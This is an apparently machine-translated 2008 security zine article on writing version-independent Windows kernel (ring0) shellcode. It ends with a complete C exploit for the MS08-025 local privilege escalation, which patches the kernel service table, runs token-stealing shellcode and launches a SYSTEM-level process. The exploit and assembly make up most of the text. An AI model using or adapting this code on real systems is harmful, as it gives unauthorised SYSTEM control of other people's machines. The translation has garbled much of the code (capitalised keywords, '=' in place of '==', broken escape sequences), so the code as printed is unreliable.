Compile common kernel shellcode
2008/06/19 20:39 |
Ghost doll |
Technical Article |
Take the seat first
= Ph4nt0m security team =
Issue 0x02, Phile #0x05 of 0x0a
| = --------------------------------------------------------------------------- = |
| = ------------------------ = [Compile common kernel shellcode] = ------------------------ = |
| = --------------------------------------------------------------------------- = |
| = --------------------------------------------------------------------------- = |
| = ----------------------- = [By TMS320] = ---------------------- = |
| = ---------------------- = [<Tms320at_ph4nt0m.org>] = --------------------- = |
| = --------------------------------------------------------------------------- = |
1. The emergence of Multiple kernel vulnerabilities has led researchers to ring0 from ring3
Recently exposed MS08-025 vulnerabilities, the affected system contains almost all versions of Microsoft's NT architecture, have aroused the interest of many researchers, vulnerability exposure soon appeared on the Internet exploitation program. Kernel-based overflow opens the door for us to obtain the ring0 execution permission of the system. This vulnerability improves the local execution permission and obtains the system execution level.
Currently, most of the exploitation programs ring0 shellcode grant the system process token to the current process to obtain the system permission. The typical code is as follows:
If (osversioninfo. dwminorversion = 0 ){
_ ASM {
NOP
NOP
NOP
NOP
NOP
NOP
MoV eax, 0xffdff124 // eax = kpcr (not 3G Mode)
MoV eax, [eax]
MoV ESI, [eax + 0x44] // obtain the current process eprocess
MoV eax, ESI
Search2000:
MoV eax, [eax + 0xa0]
Sub eax, 0xa0
MoV edX, [eax + 0x9c]
CMP edX, 0x8 // you can use a PID to find system processes.
JNE search2000
MoV eax, [eax + 0x12c] // gets the token of the system process
MoV [ESI + 0x12c], eax // modify the token of the current process
RET 8
}
}
If (osversioninfo. dwminorversion = 1 ){
_ ASM {
NOP
NOP
NOP
NOP
NOP
NOP
MoV eax, 0xffdff124 // eax = kpcr (not 3G Mode)
MoV eax, [eax]
MoV ESI, [eax + 0x220]
MoV eax, ESI
Searchxp:
MoV eax, [eax + 0x88]
Sub eax, 0x88
MoV edX, [eax + 0x84]
CMP edX, 0x4 // you can use a PID to find system processes.
JNE searchxp
MoV eax, [eax + 0xc8] // get the token of the system process
MoV [ESI + 0xc8], eax // modify the token of the current process
RET 8
}
}
If (osversioninfo. dwminorversion = 2 ){
_ ASM {
NOP
NOP
NOP
NOP
NOP
NOP
MoV eax, 0xffdff124 // eax = kpcr (not 3G Mode)
MoV eax, [eax]
MoV ESI, [eax + 0x218]
MoV eax, ESI
Search2003:
MoV eax, [eax + 0x98]
Sub eax, 0x98
MoV edX, [eax + 0x94]
CMP edX, 0x4 // you can use a PID to find system processes.
JNE search2003
MoV eax, [eax + 0xd8] // get the system process token
MoV [ESI + 0xd8], eax // modify the token of the current process
RET 8
}
}
For Windows operating systems, because the eprocess structure is not fixed and the system process PID is different in different systems, the above Code traverses the eprocess Chain List to find the system process and must first determine the system version, actually, ring0 shellcode is hard-coded. The compatibility of this approach is not very good. Under different patches of the same system, it is inevitable that no blue screen will appear. Using the above code, I made a blue screen on the 2K3 system of non-SP1, and realized the power of ring0 when the program crashed.
II. General Local Elevation of Privilege code
To improve compatibility, try to avoid hard coding. It is known from the programming experience of ring3 shellcode. You can use APIs to perform required operations reliably. The API name is relatively fixed.
The Elevation of Privilege operation assigns the system process token to the current execution process. We need to perform the following operations:
1. Find the system process eprocess. Ring0 can directly restore the eprocessstructure, while the psinitialsystemprocess exported by ntoskrnl.exe is a pointer to the eprocess of the system process. We only need to get the export variable psinitialsystemprocess from ntoskrnl.exe to get the eprocess of the system process.
2. Obtain the eprocess of the current process. Ntoskrnl.exe provides iothreadtoprocess (psgetthreadprocess of XP and 2K3 is the same function) to find the process to which the thread belongs. The current execution thread can be obtained by kpcr + 124h, the current execution thread can call iothreadtoprocess to obtain the eprocess of the current process. For different versions of NT systems, the kpcr structure is quite stable. We can even obtain the ETHREAD pointer of the current thread from the memory [0ffdff124h.
3. Replace the token of the current process with the system token. Because the token offset in eprocess is not fixed, you need to first find the offset value and then replace it. Ntoskrnl.exe exports the psreferenceprimarytoken function, which contains the operation to get the token from eprocess. We need to extract the offset from this function first.
For the win 2 K system, the code for obtaining the token from psreferenceprimarytoken is:
MoV eax, [EBP + 8]
MoV EDI, [eax + 12ch]
Lea eax, [edi-18h]
For Windows XP/2K3 systems, the code for obtaining tokens from psreferenceprimarytoken is:
MoV EDI, [EBP + 8]
Lea EBX, [EDI + 0d8h]
Although the registers used are not fixed, the commands are relatively fixed and can be obtained by searching for the lea command after obtaining the psreferenceprimarytoken entry address. Based on the feature that the offset is less than the length of eprocess, the token offset can be obtained from the operands with the top two characters 0 before and after Lea command.
In summary, the corresponding shellcode is given:
Psreferenceprimarytoken = 80123456 H
Psinitialsystemprocess = 80123456 H
Iothreadtoprocess = 80123456 h;
Pushad
Pushfd
MoV ESI, psreferenceprimarytoken
Findtokenoffset:
Lodsb
CMP Al, 8dh;
Jnz findtokenoffset
MoV EDI, [ESI + 1]
And Al, [ESI + 3]; judge whether it is win 2 K
JZ @ F
MoV EDI, [esi-5]
@@:
MoV ESI, [psinitialsystemprocess]
Push dword ptr [0ffdff124h]
MoV eax, psgetthreadprocess
Call eax
Add ESI, EDI
Add EDI, eax
Movsd
Popfd
Popad
RET 08 h
In the code, the common number is psreferenceprimarytoken, psinitialsystemprocess, and iothreadtoprocesscan be obtained locally by getprocaddress (which must be corrected to the kernel address ). The complete MS08-025 Generic Exploit given in the attachment will give routines for getting these addresses.
III. Further improve Universality
If you use shellcodeto obtain the address of api, you can add the code of the apiaddress and the code of the ntoskrnl.exe kernel. Because the PE file format is fixed, the ring3 API engine is also applicable to ring0. We can use the API name encoding to obtain the corresponding function address using the API engine. The base address of the ntoskrnl.exe kernel can be obtained by retrieving the functions and searching for the PE Header. In the broken handler table of the system, we can find the address of the ntoskrnl.exe interrupt handler. With the sidtinstruction, we can get the pointer to the broken character table in the system and step into the ntoskrnl.exe function. The IDT pointer is also stored in the kpcr structure, and the simpler method is to read it directly from the [0ffdff038h] (kpcr + 38 h) memory.
Based on the above ideas, the author compiled the 161-byte ring0 shellcode, successfully used in the overflow of MS08-025.
Ring0 shellcdoe implemented in this way can be used for remote kernel overflow without relying on external functions to perform API operations independently. Remote ring0 shellcode only communicates within the phantom, and readers can implement the relevant code according to the aforementioned ideas.
Iv. Appendix
You do not need to judge the general application of the system version. If you have crashed, contact me and I will make further improvements.
# Include <stdio. h>
# Include <windows. h>
# Pragma comment (Lib, "user32.lib ")
# Pragma comment (Lib, "NTDLL. lib ")
Typedef long ntstatus;
Typedef ntstatus (ntapi * pntallocate) (handle processhandle,
Pvoid * baseaddress,
Ulong zerobits,
Pulong regionsize,
Ulong allocationtype,
Ulong protect );
Typedef ntstatus (ntapi * zwvdmcontrol) (ulong, pvoid );
Zwvdmcontrol = NULL;
DWORD psreferenceprimarytoken = 0;
DWORD psinitialsystemprocess = 0;
DWORD iothreadtoprocess = 0;
# Define STATUS_SUCCESS (ntstatus) 0x000000000000l)
# Define status_info_length_mismatch (ntstatus) 0xc0000004l)
Typedef Enum _ system_information_class {
Systemmoduleinformation = 11,
} System_information_class;
Typedef struct _ image_fixup_entry {
Word offset: 12;
Word type: 4;
} Image_fixup_entry, * pimage_fixup_entry;
Typedef struct _ system_module_information {// Information Class 11
Ulong reserved [2];
Pvoid base;
Ulong size;
Ulong flags;
Ushort index;
Ushort unknown;
Ushort loadcount;
Ushort modulenameoffset;
Char imagename [256];
} System_module_information, * psystem_module_information;
Extern "C"
Ntstatus
Ntapi
Ntallocatevirtualmemory (
In handle processhandle,
In out pvoid * baseaddress,
In ulong zerobits,
In out Pulong allocationsize,
In ulong allocationtype,
In ulong protect
);
Extern "C"
Ntstatus
Ntapi
Ntquerysysteminformation (
In system_information_class systeminformationclass,
In out pvoid systeminformation,
In ulong systeminformationlength,
Out Pulong returnlength optional
);
Extern "C"
Pimage_nt_headers
Ntapi
Rtlimagentheader (
In pvoid Base
);
Extern "C"
Pvoid
Ntapi
Rtlimagedirectoryentrytodata (
In pvoid base,
In Boolean mappedasimage,
In ushort directoryentry,
Out Pulong size
);
Void errorquit (char * MSG)
{
Printf ("% s: % x \ n", MSG, getlasterror ());
Exitprocess (0 );
}
DWORD
Getkernelbase (char * kernelname)
{
Ntstatus status = STATUS_SUCCESS;
Ulong I = 0;
Ulong needsize = 0;
Ulong moduletotal = 0;
DWORD dwkernelbase = 0;
Pchar temp [10];
Psystem_module_information systemmoduleinfo = NULL;
Status = ntquerysysteminformation (
Systemmoduleinformation,
(Pvoid) temp,
10,
& Needsize );
If (status! = Status_info_length_mismatch ){
Printf ("ntquerysysteminformation (first) failed, status: % 08x \ n", status );
Return dwkernelbase;
}
Systemmoduleinfo = (psystem_module_information) localalloc (lptr, needsize );
If (null = systemmoduleinfo ){
Printf ("ntquerysysteminformation failed (second), Code: % 08x \ n", getlasterror ());
Return dwkernelbase;
}
Status = ntquerysysteminformation (
Systemmoduleinformation,
Systemmoduleinfo,
Needsize,
& Needsize );
If (status! = STATUS_SUCCESS ){
Printf ("ntquerysysteminformation failed, status: % 08x \ n", status );
Return dwkernelbase;
}
Moduletotal = * (Pulong) systemmoduleinfo;
Systemmoduleinfo = (psystem_module_information) (puchar) systemmoduleinfo + 4 );
For (I = 0; I <moduletotal; I ++ ){
If (strstr (systemmoduleinfo-> imagename, "ntoskrnl.exe ")){
Strcpy (kernelname, "ntoskrnl.exe ");
Dwkernelbase = (DWORD) systemmoduleinfo-> base;
Break;
}
Else if (strstr (systemmoduleinfo-> imagename, "ntkrnlpa.exe ")){
Strcpy (kernelname, "ntkrnlpa.exe ");
Dwkernelbase = (DWORD) systemmoduleinfo-> base;
Break;
}
}
Localfree (systemmoduleinfo );
Return dwkernelbase;
}
DWORD
Findkiservicetable (hmodule, DWORD dwkesdtoffset)
{
Pimage_nt_headers ntheaders = NULL;
Pimage_base_relocation imagebasereloc = NULL;
Pimage_fixup_entry imagefixup = NULL;
DWORD reloctablesize = 0;
Dword I;
DWORD dwvirtualaddress;
DWORD dwrva;
DWORD dwkiservicetable = 0;
Ntheaders = rtlimagentheader (hmodule );
Imagebasereloc = (pimage_base_relocation) rtlimagedirectoryentrytodata (pvoid) hmodule,
True,
Image_directory_entry_basereloc,
& Reloctablesize );
If (null = imagebasereloc ){
Return 0;
}
Do {
Imagefixup = (pimage_fixup_entry) (DWORD) imagebasereloc + sizeof (image_base_relocation ));
For (I = 0;
I <(imagebasereloc-> sizeofblock-sizeof (image_base_relocation)> 1;
I ++, imagefixup ++ ){
If (imagefixup-> type = image_rel_based_highlow ){
Dwvirtualaddress = imagebasereloc-> virtualaddress + imagefixup-> offset;
Dwrva = * (pdword) (DWORD) hmodule + dwvirtualaddress)-(DWORD) ntheaders-> optionalheader. imagebase;
If (dwrva = dwkesdtoffset ){
If (* (pword) (DWORD) hmodule + dwVirtualAddress-2) = 0x05c7 ){
Dwkiservicetable = * (pdword) (DWORD) hmodule + dwvirtualaddress + 4)-ntheaders-> optionalheader. imagebase;
Return dwkiservicetable;
}
}
}
}
* (Pdword) & imagebasereloc + = imagebasereloc-> sizeofblock;
} While (imagebasereloc-> virtualaddress );
Return 0;
}
Void inittrampoline ()
{
Pntallocate ntallocatevirtualmemory;
Lpvoid ADDR = (lpvoid) 3;
DWORD dwshellsize = 0x1000;
Unsigned char trampoline [] =
"\ X60 \ x9c \ xbe \ x56 \ x34 \ X12 \ X80 \ xac \ x3c \ x8d \ x75 \ xfb \ x8b \ x7e \ x01 \ x22"
"\ X46 \ x03 \ x74 \ x03 \ x8b \ x7e \ xfb \ x8b \ x35 \ x56 \ x34 \ X12 \ X80 \ xFF \ x35 \ x24"
"\ Xf1 \ xdf \ xFF \ xb8 \ x56 \ x34 \ X12 \ X80 \ xFF \ xd0 \ x03 \ xf7 \ x03 \ xf8 \ xa5 \ x9d"
"\ X61 \ xc2 \ x08 \ x00 ";
Ntallocatevirtualmemory = (pntallocate) getprocaddress (getmodulehandle ("NTDLL. dll"), "ntallocatevirtualmemory ");
If (! Ntallocatevirtualmemory)
Exit (0 );
Ntallocatevirtualmemory (handle)-1,
& ADDR,
0,
& Dwshellsize,
Mem_reserve | mem_commit | mem_top_down,
Page_execute_readwrite );
If (Pulong) ADDR)
{
Printf ("\ n [++] error allocating memory \ n ");
Exit (0 );
}
* (DWORD *) (trampoline + 3) = psreferenceprimarytoken;
* (DWORD *) (trampoline + 0x19) = psinitialsystemprocess;
* (DWORD *) (trampoline + 0x24) = iothreadtoprocess;
Memcpy (null, trampoline, sizeof (trampoline)-1 );
}
Void getfunction ()
{
Hmodule hntdll;
Hntdll = loadlibrary ("NTDLL. dll ");
If (hntdll = NULL)
Errorquit ("loadlibrary failed. \ n ");
Zwvdmcontrol = (zwvdmcontrol) getprocaddress (hntdll, "zwvdmcontrol ");
If (zwvdmcontrol = NULL)
Errorquit ("getprocaddress failed. \ n ");
Freelibrary (hntdll );
}
Int main (INT argc, char ** argv)
{
// Pulong pntvdmcontrol = 0x805f0db0;
DWORD pntvdmcontrol = 0x80800458; // obtained through * (Pulong) (keservicedescriptortalbe) + 0x10c * 4
Pvoid keservicedescriptortable = NULL;
DWORD dwkernelbase = 0;
DWORD dwkesdtoffset = 0;
DWORD dwkiservicetable = 0;
DWORD funcnumber = 0;
Hmodule hkernel;
Char szntos [max_path] = {0 };
Startupinfoa ststartup;
Process_information PI;
Printf ("\ n \ tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \ n ");
Printf ("\ tby TMS320, Tms320@ph4nt0m.org \ n ");
Printf ("\ tall unpathched OS can be compromised \ n ");
If (argc <2)
{
Printf ("\ tusage: % S <command> \ n", argv [0]);
Exit (0 );
}
Getfunction ();
Dwkernelbase = getkernelbase (szntos );
If (dwkernelbase)
{
Printf ("Get kernelbase success, % s base = % 08x \ n", szntos, dwkernelbase );
Hkernel = loadlibraryexa (szntos, 0, 1 );
}
Else
{
Printf ("getprocaddress failed, code: % d \ n", getlasterror ());
Return false;
}
Keservicedescriptortable = getprocaddress (hkernel, "keservicedescriptortable ");
If (null = keservicedescriptortable) errorquit ("Get keservicedescriptortable address failed ");
Printf ("keservicedescriptortable = % 08x \ n", keservicedescriptortable );
Dwkesdtoffset = (DWORD) keservicedescriptortable-(DWORD) hkernel;
Dwkiservicetable = findkiservicetable (hkernel, dwkesdtoffset );
If (0 = dwkiservicetable) errorquit ("find kiservicetable failed. \ n ");
Printf ("OK !!! \ Nkiservicetable = % 08x \ n ", dwkiservicetable + dwkernelbase );
Funcnumber = * (pdword) (DWORD) zwvdmcontrol + 1 );
Printf ("zwvdmcontrol call number: % 08x \ n", funcnumber );
Pntvdmcontrol = (DWORD) (dwkiservicetable + dwkernelbase + funcnumber * sizeof (DWORD ));
Psreferenceprimarytoken = (DWORD) getprocaddress (hkernel, "psreferenceprimarytoken")-(DWORD) hkernel + dwkernelbase;
Psinitialsystemprocess = (DWORD) getprocaddress (hkernel, "psinitialsystemprocess")-(DWORD) hkernel + dwkernelbase;
Iothreadtoprocess = (DWORD) getprocaddress (hkernel, "iothreadtoprocess")-(DWORD) hkernel + dwkernelbase;
Inittrampoline ();
Sendmessagew (getasktopwindow (), wm_gettext, 0x80000000, pntvdmcontrol );
Sendmessagew (getasktopwindow (), wm_gettext, 0x80000000, pntvdmcontrol + 2 );
Printf ("\ n [+] Executing shellcode... \ n ");
Zwvdmcontrol (0, null );
Getstartupinfo (& ststartup );
CreateProcess (null,
Argv [1],
Null,
Null,
True,
Null,
Null,
Null,
& Ststartup,
& PI); // The cmd.exe created by the role is the system permission.
Printf ("[+] Exiting... \ n ");
Return true;
}
-EOF-